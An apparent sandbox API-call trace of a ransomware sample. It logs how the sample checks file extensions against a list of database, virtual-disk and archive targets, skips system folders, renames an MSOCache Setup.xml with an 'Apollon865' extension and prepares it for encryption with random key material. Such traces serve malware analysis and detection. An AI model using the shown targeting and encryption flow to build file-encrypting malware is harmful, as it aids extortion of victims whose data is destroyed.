	[0077.494] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0077.494] lstrlenW (lpString="vdi") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0077.494] lstrlenW (lpString="vhd") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0077.494] lstrlenW (lpString="vhdx") returned 4
	[0077.494] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0077.494] lstrlenW (lpString="avhd") returned 4
	[0077.494] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0077.494] lstrlenW (lpString="db") returned 2
	[0077.494] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0077.494] lstrlenW (lpString="db2") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0077.494] lstrlenW (lpString="db3") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0077.494] lstrlenW (lpString="dbf") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0077.494] lstrlenW (lpString="mdf") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0077.494] lstrlenW (lpString="mdb") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0077.494] lstrlenW (lpString="sql") returned 3
	[0077.494] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0077.494] lstrlenW (lpString="sqlite") returned 6
	[0077.494] lstrcmpiW (lpString1="up.dll", lpString2="sqlite") returned 1
	[0077.494] lstrlenW (lpString="sqlite3") returned 7
	[0077.494] lstrcmpiW (lpString1="tup.dll", lpString2="sqlite3") returned 1
	[0077.494] lstrlenW (lpString="sqlitedb") returned 8
	[0077.494] lstrcmpiW (lpString1="etup.dll", lpString2="sqlitedb") returned -1
	[0077.495] lstrlenW (lpString="xml") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0077.495] lstrlenW (lpString="$er") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0077.495] lstrlenW (lpString="4dd") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0077.495] lstrlenW (lpString="4dl") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0077.495] lstrlenW (lpString="^^^") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0077.495] lstrlenW (lpString="abs") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0077.495] lstrlenW (lpString="abx") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0077.495] lstrlenW (lpString="accdb") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1
	[0077.495] lstrlenW (lpString="accdc") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1
	[0077.495] lstrlenW (lpString="accde") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1
	[0077.495] lstrlenW (lpString="accdr") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1
	[0077.495] lstrlenW (lpString="accdt") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1
	[0077.495] lstrlenW (lpString="accdw") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1
	[0077.495] lstrlenW (lpString="accft") returned 5
	[0077.495] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1
	[0077.495] lstrlenW (lpString="adb") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0077.495] lstrlenW (lpString="adb") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0077.495] lstrlenW (lpString="ade") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0077.495] lstrlenW (lpString="adf") returned 3
	[0077.495] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0077.495] lstrlenW (lpString="adn") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0077.496] lstrlenW (lpString="adp") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0077.496] lstrlenW (lpString="alf") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0077.496] lstrlenW (lpString="ask") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0077.496] lstrlenW (lpString="btr") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0077.496] lstrlenW (lpString="cat") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0077.496] lstrlenW (lpString="cdb") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0077.496] lstrlenW (lpString="ckp") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0077.496] lstrlenW (lpString="cma") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0077.496] lstrlenW (lpString="cpd") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0077.496] lstrlenW (lpString="dacpac") returned 6
	[0077.496] lstrcmpiW (lpString1="up.dll", lpString2="dacpac") returned 1
	[0077.496] lstrlenW (lpString="dad") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0077.496] lstrlenW (lpString="dadiagrams") returned 10
	[0077.496] lstrlenW (lpString="daschema") returned 8
	[0077.496] lstrcmpiW (lpString1="etup.dll", lpString2="daschema") returned 1
	[0077.496] lstrlenW (lpString="db-journal") returned 10
	[0077.496] lstrlenW (lpString="db-shm") returned 6
	[0077.496] lstrcmpiW (lpString1="up.dll", lpString2="db-shm") returned 1
	[0077.496] lstrlenW (lpString="db-wal") returned 6
	[0077.496] lstrcmpiW (lpString1="up.dll", lpString2="db-wal") returned 1
	[0077.496] lstrlenW (lpString="dbc") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0077.496] lstrlenW (lpString="dbs") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0077.496] lstrlenW (lpString="dbt") returned 3
	[0077.496] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0077.496] lstrlenW (lpString="dbv") returned 3
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0077.497] lstrlenW (lpString="dbx") returned 3
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0077.497] lstrlenW (lpString="dcb") returned 3
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0077.497] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0077.497] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0077.497] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0077.498] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0077.498] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0077.498] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0077.498] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab"
	[0077.498] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0077.498] lstrlenW (lpString="Apollon865") returned 10
	[0077.498] lstrcmpiW (lpString1="OW32WW.cab", lpString2="Apollon865") returned 1
	[0077.498] lstrlenW (lpString=".dll") returned 4
	[0077.498] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".dll") returned 1
	[0077.498] lstrlenW (lpString=".lnk") returned 4
	[0077.498] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".lnk") returned 1
	[0077.498] lstrlenW (lpString=".ini") returned 4
	[0077.498] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".ini") returned 1
	[0077.498] lstrlenW (lpString=".sys") returned 4
	[0077.498] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".sys") returned 1
	[0077.498] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0077.498] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll"
	[0077.498] lstrlenW (lpString="PidGenX.dll") returned 11
	[0077.498] lstrlenW (lpString="Apollon865") returned 10
	[0077.498] lstrcmpiW (lpString1="idGenX.dll", lpString2="Apollon865") returned 1
	[0077.498] lstrlenW (lpString=".dll") returned 4
	[0077.498] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".dll") returned 1
	[0077.498] lstrlenW (lpString=".lnk") returned 4
	[0077.498] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".lnk") returned 1
	[0077.498] lstrlenW (lpString=".ini") returned 4
	[0077.498] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".ini") returned 1
	[0077.499] lstrlenW (lpString=".sys") returned 4
	[0077.499] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".sys") returned 1
	[0077.499] lstrlenW (lpString="PidGenX.dll") returned 11
	[0077.499] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms"
	[0077.499] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0077.499] lstrlenW (lpString="Apollon865") returned 10
	[0077.499] lstrcmpiW (lpString1="ice.xrm-ms", lpString2="Apollon865") returned 1
	[0077.499] lstrlenW (lpString=".dll") returned 4
	[0077.499] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".dll") returned 1
	[0077.499] lstrlenW (lpString=".lnk") returned 4
	[0077.499] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".lnk") returned 1
	[0077.499] lstrlenW (lpString=".ini") returned 4
	[0077.499] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".ini") returned 1
	[0077.499] lstrlenW (lpString=".sys") returned 4
	[0077.499] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".sys") returned 1
	[0077.499] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0077.499] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe"
	[0077.499] lstrlenW (lpString="setup.exe") returned 9
	[0077.499] lstrlenW (lpString="Apollon865") returned 10
	[0077.499] lstrlenW (lpString=".dll") returned 4
	[0077.499] lstrcmpiW (lpString1="setup.exe", lpString2=".dll") returned 1
	[0077.499] lstrlenW (lpString=".lnk") returned 4
	[0077.499] lstrcmpiW (lpString1="setup.exe", lpString2=".lnk") returned 1
	[0077.499] lstrlenW (lpString=".ini") returned 4
	[0077.499] lstrcmpiW (lpString1="setup.exe", lpString2=".ini") returned 1
	[0077.499] lstrlenW (lpString=".sys") returned 4
	[0077.499] lstrcmpiW (lpString1="setup.exe", lpString2=".sys") returned 1
	[0077.499] lstrlenW (lpString="setup.exe") returned 9
	[0077.499] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0077.500] lstrlenW (lpString="Setup.xml") returned 9
	[0077.500] lstrlenW (lpString="Apollon865") returned 10
	[0077.500] lstrlenW (lpString=".dll") returned 4
	[0077.500] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0077.500] lstrlenW (lpString=".lnk") returned 4
	[0077.500] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0077.500] lstrlenW (lpString=".ini") returned 4
	[0077.500] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0077.500] lstrlenW (lpString=".sys") returned 4
	[0077.500] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0077.500] lstrlenW (lpString="Setup.xml") returned 9
	[0077.500] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0077.500] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.501] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=20577) returned 1
	[0077.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfe70
	[0077.502] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfef8) returned 1
	[0077.503] CryptGenRandom (in: hProv=0x5bfef8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.503] CryptReleaseContext (hProv=0x5bfef8, dwFlags=0x0) returned 1
	[0077.503] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5370, lpName=0x0) returned 0x118
	[0077.507] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5370) returned 0x100000
	[0077.508] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfef8) returned 1
	[0077.509] CryptGenRandom (in: hProv=0x5bfef8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.509] CryptReleaseContext (hProv=0x5bfef8, dwFlags=0x0) returned 1
	[0077.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.509] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.509] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.510] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.510] CloseHandle (hObject=0x118) returned 1
	[0077.510] CloseHandle (hObject=0xc0) returned 1
	[0077.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0077.510] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.510] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1
	[0077.510] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="Apollon865.txt.exe") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="..") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="windows") returned -1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="bootmgr") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="temp") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="pagefile.sys") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="boot") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="ids.txt") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="ntuser.dat") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="perflogs") returned 1
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="MSBuild") returned 1
	[0077.511] lstrlenW (lpString="VisiorWW.cab") returned 12
	[0077.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0077.511] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisiorWW.cab" | out: lpString1="VisiorWW.cab") returned="VisiorWW.cab"
	[0077.511] lstrlenW (lpString="VisiorWW.cab") returned 12
	[0077.511] lstrlenW (lpString="Apollon865") returned 10
	[0077.511] lstrcmpiW (lpString1="siorWW.cab", lpString2="Apollon865") returned 1
	[0077.511] lstrlenW (lpString=".dll") returned 4
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".dll") returned 1
	[0077.511] lstrlenW (lpString=".lnk") returned 4
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".lnk") returned 1
	[0077.511] lstrlenW (lpString=".ini") returned 4
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".ini") returned 1
	[0077.511] lstrlenW (lpString=".sys") returned 4
	[0077.511] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".sys") returned 1
	[0077.511] lstrlenW (lpString="VisiorWW.cab") returned 12
	[0077.511] lstrlenW (lpString="bak") returned 3
	[0077.511] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0077.511] lstrlenW (lpString="ba_") returned 3
	[0077.511] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0077.511] lstrlenW (lpString="dbb") returned 3
	[0077.511] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0077.511] lstrlenW (lpString="vmdk") returned 4
	[0077.512] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0077.512] lstrlenW (lpString="rar") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0077.512] lstrlenW (lpString="zip") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0077.512] lstrlenW (lpString="tgz") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0077.512] lstrlenW (lpString="vbox") returned 4
	[0077.512] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0077.512] lstrlenW (lpString="vdi") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0077.512] lstrlenW (lpString="vhd") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0077.512] lstrlenW (lpString="vhdx") returned 4
	[0077.512] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0077.512] lstrlenW (lpString="avhd") returned 4
	[0077.512] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0077.512] lstrlenW (lpString="db") returned 2
	[0077.512] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0077.512] lstrlenW (lpString="db2") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0077.512] lstrlenW (lpString="db3") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0077.512] lstrlenW (lpString="dbf") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0077.512] lstrlenW (lpString="mdf") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0077.512] lstrlenW (lpString="mdb") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0077.512] lstrlenW (lpString="sql") returned 3
	[0077.512] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0077.512] lstrlenW (lpString="sqlite") returned 6
	[0077.512] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1
	[0077.512] lstrlenW (lpString="sqlite3") returned 7
	[0077.512] lstrcmpiW (lpString1="rWW.cab", lpString2="sqlite3") returned -1
	[0077.512] lstrlenW (lpString="sqlitedb") returned 8
	[0077.512] lstrcmpiW (lpString1="orWW.cab", lpString2="sqlitedb") returned -1
	[0077.512] lstrlenW (lpString="xml") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0077.513] lstrlenW (lpString="$er") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0077.513] lstrlenW (lpString="4dd") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0077.513] lstrlenW (lpString="4dl") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0077.513] lstrlenW (lpString="^^^") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0077.513] lstrlenW (lpString="abs") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0077.513] lstrlenW (lpString="abx") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0077.513] lstrlenW (lpString="accdb") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1
	[0077.513] lstrlenW (lpString="accdc") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1
	[0077.513] lstrlenW (lpString="accde") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1
	[0077.513] lstrlenW (lpString="accdr") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1
	[0077.513] lstrlenW (lpString="accdt") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1
	[0077.513] lstrlenW (lpString="accdw") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1
	[0077.513] lstrlenW (lpString="accft") returned 5
	[0077.513] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1
	[0077.513] lstrlenW (lpString="adb") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.513] lstrlenW (lpString="adb") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.513] lstrlenW (lpString="ade") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0077.513] lstrlenW (lpString="adf") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0077.513] lstrlenW (lpString="adn") returned 3
	[0077.513] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0077.514] lstrlenW (lpString="adp") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0077.514] lstrlenW (lpString="alf") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0077.514] lstrlenW (lpString="ask") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0077.514] lstrlenW (lpString="btr") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0077.514] lstrlenW (lpString="cat") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0077.514] lstrlenW (lpString="cdb") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0077.514] lstrlenW (lpString="ckp") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0077.514] lstrlenW (lpString="cma") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0077.514] lstrlenW (lpString="cpd") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0077.514] lstrlenW (lpString="dacpac") returned 6
	[0077.514] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1
	[0077.514] lstrlenW (lpString="dad") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0077.514] lstrlenW (lpString="dadiagrams") returned 10
	[0077.514] lstrcmpiW (lpString1="siorWW.cab", lpString2="dadiagrams") returned 1
	[0077.514] lstrlenW (lpString="daschema") returned 8
	[0077.514] lstrcmpiW (lpString1="orWW.cab", lpString2="daschema") returned 1
	[0077.514] lstrlenW (lpString="db-journal") returned 10
	[0077.514] lstrcmpiW (lpString1="siorWW.cab", lpString2="db-journal") returned 1
	[0077.514] lstrlenW (lpString="db-shm") returned 6
	[0077.514] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1
	[0077.514] lstrlenW (lpString="db-wal") returned 6
	[0077.514] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1
	[0077.514] lstrlenW (lpString="dbc") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0077.514] lstrlenW (lpString="dbs") returned 3
	[0077.514] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0077.514] lstrlenW (lpString="dbt") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0077.515] lstrlenW (lpString="dbv") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0077.515] lstrlenW (lpString="dbx") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0077.515] lstrlenW (lpString="dcb") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0077.515] lstrlenW (lpString="dct") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0077.515] lstrlenW (lpString="dcx") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0077.515] lstrlenW (lpString="ddl") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0077.515] lstrlenW (lpString="dlis") returned 4
	[0077.515] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0077.515] lstrlenW (lpString="dp1") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0077.515] lstrlenW (lpString="dqy") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0077.515] lstrlenW (lpString="dsk") returned 3
	[0077.515] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
